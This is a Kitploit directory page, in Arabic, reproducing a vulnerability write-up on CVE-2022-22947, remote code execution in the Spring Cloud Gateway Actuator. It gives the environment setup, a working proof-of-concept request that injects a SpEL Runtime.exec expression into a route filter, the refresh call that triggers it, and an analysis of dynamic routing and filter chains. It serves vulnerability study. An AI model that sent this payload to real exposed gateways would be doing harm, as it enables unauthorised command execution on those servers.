Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2022-22947-spring-cloud-gateway — # تحليل واستغلال تفصيلي لـ CVE-2022-22947 ثغرة تنفيذ التعليمات البرمجية عن بُعد في Spring Cloud Gateway عبر حقن SpEL في واجهة Actuator API. يتضمن إثبات المفهوم (PoC)، وحقن الصدفة في الذاكرة، وتحليل السبب الجذري. | Kitploit
أدوات/GitHubGitHub/enokiy/cve-2022-22947-spring-cloud-gateway
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubenokiy/cve-2022-22947-spring-cloud-gateway

cve-2022-22947-spring-cloud-gateway

# تحليل واستغلال تفصيلي لـ CVE-2022-22947 ثغرة تنفيذ التعليمات البرمجية عن بُعد في Spring Cloud Gateway عبر حقن SpEL في واجهة Actuator API. يتضمن إثبات المفهوم (PoC)، وحقن الصدفة في الذاكرة، وتحليل السبب الجذري.

عرض المستودع
18119منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مقدمة الثغرة

Spring Cloud Gateway هو مشروع جديد من Spring Cloud، وهو بوابة تم تطويرها بناءً على تقنيات مثل Spring 5.0 وSpring Boot 2.0 وProject Reactor، وتهدف إلى توفير طريقة بسيطة وفعالة وموحدة لإدارة توجيه API للبنية التحتية للخدمات المصغرة. مؤخرًا تم اكتشاف ثغرة RCE حرجة في Spring Cloud Gateway CVE، وتُظهر معلومات CVE أنه عندما يتم تمكين وكشف Gateway Actuator endpoint الخاص بـ Spring Cloud Gateway، فإن التطبيق يكون عرضة لهجوم حقن الأكواد عن بُعد، حيث يمكن للمهاجم إرسال طلبات خبيثة لتنفيذ أكواد عشوائية عن بُعد. الإصدارات المتأثرة حاليًا هي:

  • 3.1.0
  • 3.0.0 إلى 3.0.6
  • الإصدارات الأقدم غير المدعومة متأثرة أيضًا

يحلل هذا المقال مبدأ الثغرة وطرق الاستغلال الأكثر تقدمًا من خلال إعادة إنتاج هذا CVE.

إعداد البيئة

استخدم التبعيات التالية لإنشاء مشروع Maven:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9

في التكوين الافتراضي لـ Spring Boot، فقط endpoint واحد وهو health مفتوح للويب. إذا كنت بحاجة إلى فتح gateway، فيجب تكوينه يدويًا، راجع [الوثائق الرسمية](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health

أرسل الـ POC التالي:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json

{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

![](https://assets.kitploit.com/production/public/readmes/35878/39233225aa6d08c3ff4f14f3071172786b11345cedade53e5737bd2327a1d4ae.png)

بعد ذلك، أرسل ```POST /actuator/gateway/refresh``` لتحديث معلومات ذاكرة التخزين المؤقت للتوجيه ويمكن تفعيل POC:

![](https://assets.kitploit.com/production/public/readmes/35878/e06c39a19eb0078362b53c7ca2f1b278dc403cc3054a0a23e3ff22c374871d31.png)

## تحليل المبدأ

بالنظر إلى POC أعلاه، أولاً يتم إضافة مسار ديناميكيًا عبر ```POST /actuator/gateway/routes/test2```. أثناء عملية إضافة المسار، يوجد filter يعالج المعاملات المُدخلة بحيث يمكن تحليل القيمة كتعبير SpEL، ثم عند تحديث ذاكرة التخزين المؤقت للتوجيه يتم تنفيذ POC.
أولاً، لنلقِ نظرة على آلية تكوين التوجيه الديناميكي في Spring Cloud Gateway.
### تكوين التوجيه الديناميكي
يدعم Spring Cloud Gateway تسجيل المسارات عبر الكود/ملفات التكوين، على سبيل المثال من [demo](https://spring.io/guides/gs/gateway/) على الموقع الرسمي:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
    return builder.routes()
        .route(p -> p
            .path("/get")
            .filters(f -> f.addRequestHeader("Hello", "World"))
            .uri("http://httpbin.org:80"))
        .build();
}

طريقة ملفات التكوين مشابهة للكود:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1

الطرق المضافة بهاتين الطريقتين ثابتة؛ إذا كنت بحاجة إلى إضافة أو تعديل أو حذف تكوينات وقواعد التوجيه، فيجب إعادة تشغيل التطبيق حتى تصبح سارية المفعول. لكن في الواقع، وبما أن spring cloud gateway هو مدخل كل حركة المرور، يجب ضمان توفر عالٍ للنظام، لذلك بعد أن يعرض spring cloud gateway نقطة النهاية `/gateway`، يمكن استخدام `/gateway/routes` لإضافة وحذف وتعديل معلومات التوجيه الديناميكي. لكن معلومات التوجيه بهذه الطريقة موجودة في الذاكرة فقط، وبمجرد إعادة تشغيل الخدمة، تُفقد معلومات تكوين التوجيه المضافة حديثًا.

من تنسيق تسجيل التوجيه أعلاه، يمكن ملاحظة أن معلومات التوجيه تتضمن uri الهدف، مجموعة filters، ومجموعة predicates. يمكن لـ predicates مطابقة أي محتوى من طلب http (ترويسات الطلب، المعاملات). يحتوي spring cloud gateway على العديد من فئات مصانع route predicate المدمجة، مثل Before وAfter وBetween وCookie وHeader وHost و[Path وغيرها](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

![](https://assets.kitploit.com/production/public/readmes/35878/3cc2f4a5937db984a675ba2f6ff5845b19d6a36166709de5bfb694f1fa017101.png)

تُستخدم filter لتعديل الطلب أو الاستجابة قبل إرسال الطلب أو بعده، وتتضمن أيضًا العديد من مجموعات filter المدمجة. في الـ payload السابق الذي يطلق RCE، استخدمنا filter باسم AddResponseHeader. من الـ filters الأخرى: RewritePath وSetPath وغيرها. هناك نوعان من الـ filter: أحدهما GlobalFilter الذي يعمل على جميع الطرق، والآخر GatewayFilter الذي يعمل على مسار واحد فقط. للتفاصيل، راجع https://www.cnblogs.com/duanxz/p/14780675.html.

![](https://assets.kitploit.com/production/public/readmes/35878/fbabe62f51e3431325c9ee186366f9b7dbbcb0986ed62b77a027579107cdc84b.png),![](https://assets.kitploit.com/production/public/readmes/35878/4a0b7e2b6cfaa4cbbbbcb1887de3b805429feea3b36dd8ac34a1147fece7359b.png)

## تدفق الطلب
إذن، ما هو التدفق المحدد عندما يصل طلب ما عبر gateway إلى الخدمة proxied في الخلفية؟ العملية في الوثائق الرسمية هي كما يلي:

![](https://assets.kitploit.com/production/public/readmes/35878/687f60eb0e38895b1e44cd733860ac935e67c50925b9b935fe7e6a234a1e3756.png)

يرسل العميل طلبًا إلى Spring Cloud GateWay، ثم يعثر GateWay Handler Mapping على الطريق المطابق للطلب ويرسله إلى GateWay Web Handler؛ ثم يمرر Handler الطلب عبر سلسلة filters المحددة إلى الخدمة الفعلية لتنفيذ منطق الأعمال، ثم يعيد النتيجة. الفواصل بين الـ filters بخط متقطع لأن الـ filters قد تنفذ منطق الأعمال قبل (pre) إرسال الطلب الوكيل أو بعده (post).

يبحث RoutePredicateHandlerMapping عن المسار ثم يعالجه webHandler:

![img.png](https://assets.kitploit.com/production/public/readmes/35878/d3c9c2d41e77a0f167c8d313fea969ad05ca5682517f361a07bb86781cb5e1d8.png)

بعد العثور على gatewayFilters و globalFilters في webHandler، يتم ترتيبها وفقًا لقيمة Order المعرفة في الـ filter لتشكيل filterchain، ثم يتم تنفيذ جميع الـ filters.

![img.png](https://assets.kitploit.com/production/public/readmes/35878/847e849b9f69c76a23a876c035d2bfe904e2279913f17281c588cf4de2e59e0b.png)
تنزيل الأداة